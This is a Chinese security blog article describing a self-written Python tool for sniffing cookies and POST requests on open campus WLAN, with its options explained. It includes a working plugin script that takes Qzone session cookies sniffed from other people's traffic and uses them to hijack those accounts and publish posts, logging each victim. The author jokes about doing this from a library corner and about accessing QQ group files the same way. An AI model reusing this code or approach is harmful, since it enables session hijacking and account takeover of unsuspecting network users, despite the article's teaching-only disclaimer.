关注我们
QRcode 邮件联系 新浪微博
首页 > 无线安全 » 正文

如何写一个开放WLAN下的嗅探测试工具?

     条点评
后台-系统设置-扩展变量-手机广告位-内容正文顶部

* 本文作者:Macr0phag3,本文属FreeBuf原创奖励计划,未经许可禁止转载

     _______..__   __.  __   _______  _______  _______ .______      
    /       ||  \ |  | |  | |   ____||   ____||   ____||   _  \      
   |   (----`|   \|  | |  | |  |__   |  |__   |  |__   |  |_)  |    
    \   \    |  . `  | |  | |   __|  |   __|  |   __|  |      /      
.----)   |   |  |\   | |  | |  |     |  |     |  |____ |  |\  \----.
|_______/    |__| \__| |__| |__|     |__|     |_______|| _| `._____| v3.0

介绍

有一天我在无意中发现,学校的WLAN是完全开放的。也就是说,身边充满了Cookie与明文密码。然后又发现了add在freebuf发的一篇文章,进而对写一个嗅探器的原理愈发有兴趣,于是就有了这个工具。

总之一句话,这个工具是用来嗅探测试开放WLAN下的数据包,具体嗅探的是含Cookie或者Method为Post的数据包。

*本文提供的工具仅供安全实验和教学用途,禁止非法使用

Gayhub地址

嗅探器是一个类,有以下参数:

1. -i:可选参数;嗅探使用的原始无线网卡的名字,若不填则代码会自动指定无线网卡

2. -mi:可选参数;默认值为‘mon0’;由于嗅探需要开启无线网卡的监听模式(monitor),这个是将原始无线网卡改为监听模式后的名字(改为监听模式并非直接改原无线网卡,而是生成一个处于监控模式的虚拟无线网卡);这个虚拟的无线网卡在嗅探器停止后会自动删除。

3. -f:可选参数;默认为空;嗅探器可以实时嗅探,也可以解析本地的pcap包,这个参数就是本地pcaps包的名字,注意一定要放在Pcaps目录里;只需填写文件名;

4. -o:可选参数;默认为1;嗅探器一旦发现Cookie或者Post的包,就会进行对应的输出,若不想看见实时输出,则置0,否则置1。

5. -sPkt:可选参数;默认为1;嗅探器发现符合filter的数据时,会对输出的结果进行保存;若不想保存这些结果,置0;默认保存在Pkts下;若置1,则在嗅探结束的时候会提示是否删除本次捕获的所有pkts;

6. -sPcap:可选参数;默认为0;嗅探器可以保存符合filter的原始数据包;1为保存;0为不保存;默认保存在Pcaps下;若置1,则在嗅探结束的时候会提示是否删除本次捕获的pcap;

7. -fm:可选参数;默认为空;与scapy的过滤语法一致,对数据包进行过滤;代码在后面默认过滤自己的ip,以及只嗅探tcp/ip相关的包;

8. -iHF:可选参数;在是一个文件(iHost.txt)的路径,默认在当前目录,里面包含的host,在停止嗅探后会高亮显示。​

代码中有插件功能,用意是捕获到指定的数据包时,可以由插件来完成后续的工作。例如,我校的校园网帐号密码可以用cookie拿到,那么这个功能就可以写成插件。弄插件的另一个目的是分离核心代码与其他代码。

举一些使用的例子:

1. 全部使用默认参数,此时自动指定无线网卡;生成一个虚拟的mon0无线网卡;在线模式;实时输出;保存解析过的Pkt;不保存原始Pcap;过滤为空;iHost.txt在当前目录下;

停止:

(这里我开启后就停止了,所以没有抓到包,正常情况返回的结果和下面本地解析的一样

2. 本地解析pcap:

注意

需要的库:

scapy + scapy_http + argparse + termcolor

这些库可以手动安装。

嗅探器在启动的时候也会自动检查环境并进行修复。

修复是直接使用sudo pip install 语句,若电脑中存在多版本的python,注意一下pip的使用,可能需要修改ToolBox中EnvirTools 的autoFix函数语句。

注意:Python 3.x 的scapy需要手动安装(存在一个很无语的问题

安装scapy for Py3.x

配置:

Ubuntu(其他Linux应该也可以)

pipiwiwconfigifconfig 需可用

以管理员权限运行

终端的宽度要足够,否则会出现很多换行。因为覆盖同一行输出的时候是用 ‘\r’ 实现的。

Python版本

2.x and 3.x

版本更新

v1.0:实现基本功能 v2.0:简化代码,完善自动检查环境脚本,修复n个Bug v2.0 Py3.x:移植v2.0到Py 3.x v3.0:增加命令行参数;完善自动检查环境脚本;简化部分代码

后续更新

代码不够简洁(逃 插件功能的实现没有我希望的那样方便,应该再开一个线程/进程,以免在插件运行的时候嗅探就暂停了。后续会改进。

一些话

目前写的比较粗糙,后续有时间会改进。但是功能是比较完善的。个人觉得自己写插件蛮好玩的;例如,空间登陆只需要3种Cookie,我们可以让嗅探器在嗅到这些Cookie的时候发条说说(有点傻):

#encoding: utf8
import os
from Toolbox.ColorTools import *
import re
from requests import *
import sys
def g_tk(p_skey):
    h = 5381
    for c in p_skey:
        h += (h << 5) + ord(c)
    return h & 0x7fffffff
def SendMsg(uin, skey, p_skey, msg):
    qq = re.findall(r'o0*(\S+)', uin)[0]
    with open('HackQzone.txt', 'r') as fp:
        if qq in fp.read():
            return 0
    try:
        rs = session() 
        cookies = {'uin': uin,
                   'skey': skey,
                   'p_uin': uin,
                   'p_skey': p_skey
                   }
        utils.add_dict_to_cookiejar(rs.cookies, cookies)
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.98 Safari/537.36',
        }
        qzoneText = rs.post('http://user.qzone.qq.com/%s' %qq, headers=headers, cookies=cookies, timeout=5).text
        Qzname = re.findall(r'(.+) \[', qzoneText)
        Qname = re.findall(r'textoverflow">(.+)', qzoneText)
        print '[%s][%s][%s]' %(qq, Qname[0], Qzname[0]),
        qzonetoken = re.findall(r'window.g_qzonetoken = \(function\(\)\{ try\{return "(.+)";\} catch\(e\)', qzoneText)[0]
        url = 'https://user.qzone.qq.com/proxy/domain/taotao.qzone.qq.com/cgi-bin/emotion_cgi_publish_v6?qzonetoken=%s&g_tk=%s' %(qzonetoken, g_tk(p_skey))
        data = {'con': 'qm%s' %msg,
                'hostuin': qq,
        }
        rs.post(url, data=data, timeout=5).text
        print '\a[Hacked]'
        with open('HackQzone.txt', 'a') as fp:
            fp.write(qq+'\n')
        sys.exit(1) # 防止失控
    except Exception, e:
        print '  [%s] [%s]' %(putColor(qq, 'green'), putColor('Failed', 'red')), e
        print 
def QzoneCookieUsage(args):
    srcip = args[0]
    Cookie = args[1]
    if 'p_skey' in Cookie and 'skey' in Cookie:
        print '\r[' + putColor(srcip, 'cyan') + ']', putColor('Found Qzone Cookie!', 'green'), ' '*80
        print '  [-]%s' %putColor('Hacking...', 'yellow')
        cookie = Cookie.replace(';', '\n')
        skey = re.findall(r'\bskey=(.+)', cookie)[0]
        uin = re.findall(r'uin=(.+)', cookie)[0]
        p_skey = re.findall(r"p_skey=(.+)", cookie)[0]
        SendMsg(uin, skey, p_skey, 'What does the fox say?') # 发条说说<br /></code></pre>
<p>还可以怎么利用呢,蹲在图书馆的角落就可以发一些奇♂怪的东西:</p>
<p><img src="/d/file/2018-03-29/8c9ed43583657d5b5d0562de12c2ac5d.jpg" src="http://www.freebuf.com/buf/themes/freebuf/images/grey.gif" width="450" height="249"><br /></p>

<p>(图是我盗的,逃</p>
<p>后来还发现,qq群相关的包特别多,可以查看/下载/上传群文件等等,危害还蛮大的(图被我吃了</p>
<p>有些厂家的web端都有https(或者说比较全面。但是自家的app等却做得不好,各种明文到处飞(某盘从此成为老司机</p>
<p>没了没了~</p>
<p>* 本文作者:Macr0phag3,本文属FreeBuf原创奖励计划,未经许可禁止转载</p><div class="bdsharebuttonbox"><a href="#" class="bds_more" data-cmd="more"></a><a href="#" class="bds_qzone" data-cmd="qzone" title="分享到QQ空间"></a><a href="#" class="bds_tsina" data-cmd="tsina" title="分享到新浪微博"></a><a href="#" class="bds_tqq" data-cmd="tqq" title="分享到腾讯微博"></a><a href="#" class="bds_renren" data-cmd="renren" title="分享到人人网"></a><a href="#" class="bds_weixin" data-cmd="weixin" title="分享到微信"></a></div>

<script>window._bd_share_config={"common":{"bdSnsKey":{},"bdText":"","bdMini":"2","bdMiniList":false,"bdPic":"","bdStyle":"1","bdSize":"24"},"share":{},"image":{"viewList":["qzone","tsina","tqq","renren","weixin"],"viewText":"分享到:","viewSize":"16"},"selectShare":{"bdContainerClass":null,"bdSelectMiniList":["qzone","tsina","tqq","renren","weixin"]}};with(document)0[(getElementsByTagName('head')[0]||body).appendChild(createElement('script')).src='http://bdimg.share.baidu.com/static/api/js/share.js?v=89860593.js?cdnversion='+~(-new Date()/36e5)];</script>

          <div class='pagination'></div>

<div class="pcd_ad ad1 ad4"><script src=http://www.xpcnc.com/d/js/acmsd/thea7.js></script></div>

<div class="mbd_ad ad1 ad4"><table width="100%" height="90" bgcolor="#33CCCC">

    <tr align="center">

      <td>后台-系统设置-扩展变量-手机广告位-内容正文底部</td>

    </tr>

  </table></div>

        </div>

        <div class="tag">本文标签:</div>

        <div class="post-nav">

          <div class="post-prev"> <i class="icon-double-angle-left"></i><a href='http://www.xpcnc.com/wxaq/5347.html'>  面向机器人的通讯机制安全研究与改进</a> </div>

          <div class="post-next"> <a href='http://www.xpcnc.com/wxaq/'>返回列表</a><i class="icon-double-angle-right"></i> </div>

          <small class="clear"></small> </div>

      </div>

      <section class="post-meta">

        <div class="m-t">版权信息</div>

        永久链接:<a href="http://www.xpcnc.com/wxaq/5454.html">http://www.xpcnc.com/wxaq/5454.html</a><br>

        转载请注明转自 » <a href="http://www.xpcnc.com/" style="display:inline;">中国红客联盟,中国黑客联盟,中国黑客基地</a> » <a href="http://www.xpcnc.com/wxaq/5454.html">  如何写一个开放WLAN下的嗅探测试工具?</a></section>

      <div class="related-post"><a href="http://www.xpcnc.com/wxaq/5347.html" title="  面向机器人的通讯机制安全研究与改进"><img src="http://www.xpcnc.com/e/data/tmp/titlepic/260685814fee4a8fae78a0af376fab88.jpg" width="50" height="50" alt="  面向机器人的通讯机制安全研究与改进"/><span>  面向机器人的通讯机制安全研究与改进</span></a><a href="http://www.xpcnc.com/wxaq/5262.html" title="  路由器漏洞复现分析第三弹:DVRF INTRO题目分析"><img src="http://www.xpcnc.com/e/data/tmp/titlepic/bc322869c04832f9d8b0db64fdae2ad6.png" width="50" height="50" alt="  路由器漏洞复现分析第三弹:DVRF INTRO题目分析"/><span>  路由器漏洞复现分析第三弹:DVRF INTRO题目</span></a><a href="http://www.xpcnc.com/webaq/4661.html" title="  基于SonarQube的自动化代码缺陷检测:WebGoat实战(一)"><img src="http://www.xpcnc.com/e/data/tmp/titlepic/0fa93117e8c80549dd2b7dd02530efe5.png" width="50" height="50" alt="  基于SonarQube的自动化代码缺陷检测:WebGoat实战(一)"/><span>  基于SonarQube的自动化代码缺陷检测:WebGo</span></a><a href="http://www.xpcnc.com/webaq/4633.html" title="  代码分享|使用Python和Tesseract来识别图形验证码"><img src="http://www.xpcnc.com/e/data/tmp/titlepic/64d7e60754af316fdf93d4b93713ba6c.png" width="50" height="50" alt="  代码分享|使用Python和Tesseract来识别图形验证码"/><span>  代码分享|使用Python和Tesseract来识别图</span></a><a href="http://www.xpcnc.com/wxaq/4607.html" title="  借助树莓派模拟Wimonitor并实现WiFi窃听和嗅探"><img src="http://www.xpcnc.com/e/data/tmp/titlepic/0a2428204fb1a3a736925bfc680135a6.png" width="50" height="50" alt="  借助树莓派模拟Wimonitor并实现WiFi窃听和嗅探"/><span>  借助树莓派模拟Wimonitor并实现WiFi窃听</span></a><a href="http://www.xpcnc.com/wxaq/4595.html" title="  OpenATS续篇:搭建自己的卫星地球站"><img src="http://www.xpcnc.com/e/data/tmp/titlepic/247e7324cf1667d345f59751ed5874e6.jpg" width="50" height="50" alt="  OpenATS续篇:搭建自己的卫星地球站"/><span>  OpenATS续篇:搭建自己的卫星地球站</span></a><a href="http://www.xpcnc.com/wxaq/4591.html" title="  Vaultek蓝牙型枪支保险箱漏洞分析"><img src="http://www.xpcnc.com/e/data/tmp/titlepic/039a3783dd441c2b35626155b63df80e.png" width="50" height="50" alt="  Vaultek蓝牙型枪支保险箱漏洞分析"/><span>  Vaultek蓝牙型枪支保险箱漏洞分析</span></a><a href="http://www.xpcnc.com/wxaq/4576.html" title="  JCOP31/JCOP41 v2.3.1模拟M1门禁卡"><img src="http://www.xpcnc.com/e/data/tmp/titlepic/70d58ebc776503e917330c42b85f515d.jpg" width="50" height="50" alt="  JCOP31/JCOP41 v2.3.1模拟M1门禁卡"/><span>  JCOP31/JCOP41 v2.3.1模拟M1门禁卡</span></a>        <div class="clear"></div>

      </div>

    </div>

    <div class="main">

      <div id="comments">

        <h2 id="comment-title">已有<script src=http://www.xpcnc.com/e/public/ViewClick/?classid=4&id=5454&down=2></script>条评论,欢迎点评!</h2>

<div class="pl-520am" data-id="5454" data-classid="4"></div>

        <script type="text/javascript" src="http://www.xpcnc.com/e/extend/lgyPl/api.js"></script> 

      </div>

    </div>

  </div>

  <aside id="sidebar">

  <div class="widget widget_cy_search">

	<form class="cy-search" method="post" action="http://www.xpcnc.com/e/search/index.php">

		<input type="submit" class="icon-search" value="">

		<input type="text" name="keyboard" value="">

        <input type="hidden" value="title" name="show">

    <input type="hidden" value="1" name="tempid">

	</form>

</div>

  <div class="widget ad1 clear">

  <script src=http://www.xpcnc.com/d/js/acmsd/thea1.js></script>

  </div>

    <div class="widget widget_cy_tab clear">

      <ul class="cy_tab_menu btn">

        <li class="current">热门文章</li>

        <li>最新发布</li>

        <li>随机推荐</li>

      </ul>

      <div class="cy_tab_list">

        <ul class="cy_tab_post">

                  <li><a href="http://www.xpcnc.com/wxaq/561.html"><span class="hot">21 ℃</span>  拒绝成为免费劳动力:检测含有挖矿脚本的WiFi热点</a></li>

                  <li><a href="http://www.xpcnc.com/wxaq/629.html"><span class="hot">19 ℃</span>  国内研究人员首次Wifi重大漏洞利用实现 | Krack攻击测试套件打包</a></li>

                  <li><a href="http://www.xpcnc.com/wxaq/613.html"><span class="hot">10 ℃</span>  借助树莓派模拟Wimonitor并实现WiFi窃听和嗅探</a></li>

                  <li><a href="http://www.xpcnc.com/wxaq/555.html"><span class="hot">10 ℃</span>  揭秘物联网僵尸网络GAFGYT家族与NETCORE 53413后门的背后故事</a></li>

                  <li><a href="http://www.xpcnc.com/wxaq/577.html"><span class="hot">7 ℃</span>  2017年IoT僵尸网络C C服务器数量翻倍</a></li>

                  <li><a href="http://www.xpcnc.com/wxaq/598.html"><span class="hot">5 ℃</span>  JCOP31/JCOP41 v2.3.1模拟M1门禁卡</a></li>

                  <li><a href="http://www.xpcnc.com/wxaq/630.html"><span class="hot">4 ℃</span>  如何使用Airgeddon搭建基于软件的WIFI干扰器</a></li>

                  <li><a href="http://www.xpcnc.com/wxaq/622.html"><span class="hot">4 ℃</span>  WPA/WPA2漏洞分析(一)</a></li>

                  <li><a href="http://www.xpcnc.com/wxaq/616.html"><span class="hot">4 ℃</span>  WPA/WPA2漏洞分析(第二部分)</a></li>

                  <li><a href="http://www.xpcnc.com/wxaq/609.html"><span class="hot">4 ℃</span>  OpenATS续篇:搭建自己的卫星地球站</a></li>

                </ul>

        <ul class="cy_tab_post hide">

                    <li><a href="http://www.xpcnc.com/wxaq/5454.html">  如何写一个开放WLAN下的嗅探测试工具?</a></li>

                  <li><a href="http://www.xpcnc.com/xtaq/5453.html">  英特尔CPU漏洞再度袭来:全新边信道攻击方法BranchScope</a></li>

                  <li><a href="http://www.xpcnc.com/wlaq/5452.html">  警惕SNMP默认团体名导致的网络入侵</a></li>

                  <li><a href="http://www.xpcnc.com/hlw/5451.html">一名水军的日常 付款即可推稿上各大门户网站</a></li>

                  <li><a href="http://www.xpcnc.com/hlw/5450.html">内部人士:乐视网可以接受破产重整或卖资产抵债</a></li>

                  <li><a href="http://www.xpcnc.com/hlw/5449.html">网贷备案大限将至 北上广尚无平台提交整改验收报告</a></li>

                  <li><a href="http://www.xpcnc.com/hlw/5448.html">Facebook数据泄露后 库克、李彦宏、罗睿兰这样表态</a></li>

                  <li><a href="http://www.xpcnc.com/hlw/5447.html">因补贴力度大 媒体:美团打车上海刷单比例或超40%</a></li>

                  <li><a href="http://www.xpcnc.com/hlw/5446.html">传苹果将在2019年3月份推出流媒体视频服务</a></li>

                  <li><a href="http://www.xpcnc.com/hlw/5445.html">美参议院邀扎克伯格参加听证会 皮查伊等也会出席</a></li>

                </ul>

        <ul class="cy_tab_post hide">

                    <li><a href="http://www.xpcnc.com/wxaq/4558.html">  闪付卡(QuickPass)隐私泄露原理</a></li>

                  <li><a href="http://www.xpcnc.com/wxaq/4452.html">  美大使馆遭遇声波攻击,浙大WitAwards获奖团队协助调查</a></li>

                  <li><a href="http://www.xpcnc.com/wxaq/4546.html">  2017年IoT僵尸网络C C服务器数量翻倍</a></li>

                  <li><a href="http://www.xpcnc.com/wxaq/629.html">  国内研究人员首次Wifi重大漏洞利用实现 | Krack攻击测试套件打包</a></li>

                  <li><a href="http://www.xpcnc.com/wxaq/5262.html">  路由器漏洞复现分析第三弹:DVRF INTRO题目分析</a></li>

                  <li><a href="http://www.xpcnc.com/wxaq/609.html">  OpenATS续篇:搭建自己的卫星地球站</a></li>

                  <li><a href="http://www.xpcnc.com/wxaq/4492.html">  物联网(IoT)无线电通信渗透测试Part1:数字通信基本原理</a></li>

                  <li><a href="http://www.xpcnc.com/wxaq/4502.html">  揭秘物联网僵尸网络GAFGYT家族与NETCORE 53413后门的背后故事</a></li>

                  <li><a href="http://www.xpcnc.com/wxaq/4483.html">  根据目标用户信息,Python生成WPA2密码字典</a></li>

                  <li><a href="http://www.xpcnc.com/wxaq/3336.html">  物联网(IoT)无线电通信渗透测试Part1:数字通信基本原理</a></li>

                </ul>

      </div>

    </div>

    <div class="widget ad1 clear">

  <script src=http://www.xpcnc.com/d/js/acmsd/thea2.js></script>

  </div>

    <div class="widget widget_cy_color_tags clear">

      <h3>标签云</h3>

      <div class="cy_color_tags">

            </div>

    </div>

    <div class="widget ad1 clear">

  <script src=http://www.xpcnc.com/d/js/acmsd/thea3.js></script>

  </div>

    

  </aside>

</div>

<script src="http://www.xpcnc.com/skin/ecms104/js/initial.js?ver=2.2"></script>

<footer id="footer">

  <div class="footer-ms immax">

    <div class="footer-widget">

      <div class="clear"></div>

    </div>

  </div>

  <div class="footer-cr" style="">

    <div class="immax"> Copyright © 2015-2016<a href='http://www.xpcnc.com/'> 中国红客联盟,中国黑客联盟,中国黑客基地</a>.  京ICP1234567-2号.  统计代码 </div>

  </div>

</footer>

<aside id="side-nav" class="slow">

  <button id="gotop"><i class="icon-arrow-up"></i></button>

</aside>

<img src="http://www.xpcnc.com/skin/ecms104/images/logo.png" width="0" height="0" />

</body>

</html>